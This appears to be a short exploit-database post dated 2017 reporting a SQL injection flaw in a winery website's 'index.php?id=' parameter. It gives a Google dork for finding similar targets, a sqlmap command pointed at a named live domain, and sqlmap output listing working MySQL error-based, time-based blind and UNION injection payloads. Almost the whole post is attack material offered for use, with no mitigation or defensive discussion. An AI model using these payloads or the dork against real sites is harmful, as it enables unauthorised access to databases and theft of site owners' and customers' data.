################################################## # Exploit Title: Business Web Apps SQli Vuln. # Google Dork: intitle:"US Elite Winery" inurl:"index.php?id=1" # Date: 04.06.2017 # Exploit Author: HocaXD # Version: V.1 # Category: Web Apps # Tested on: Parrot Security OS / Google Chrome ################################################## # CVE : sqlmap -u "http://www.uselitewine.com/index.php?id=1'" --dbs [+]sqlmap identified the following injection point(s) with a total of 2109 HTTP(s) requests: --- Parameter: id (GET) Type: error-based Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR) Payload: id=-5821 OR 1 GROUP BY CONCAT(0x71717a7a71,(SELECT (CASE WHEN (2431=2431) THEN 1 ELSE 0 END)),0x71706b7071,FLOOR(RAND(0)*2)) HAVING MIN(0)# Type: AND/OR time-based blind Title: MySQL >= 5.0.12 time-based blind - Parameter replace Payload: id=(CASE WHEN (5685=5685) THEN SLEEP(5) ELSE 5685 END) Type: UNION query Title: MySQL UNION query (random number) - 29 columns Payload: id=-4568 UNION ALL SELECT 5100,CONCAT(0x71717a7a71,0x4e676351796443686f764f6a65656f67704a746d6856456c7a4f67504868626361714d47676c5662,0x71706b7071),5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100,5100# --- ##################################################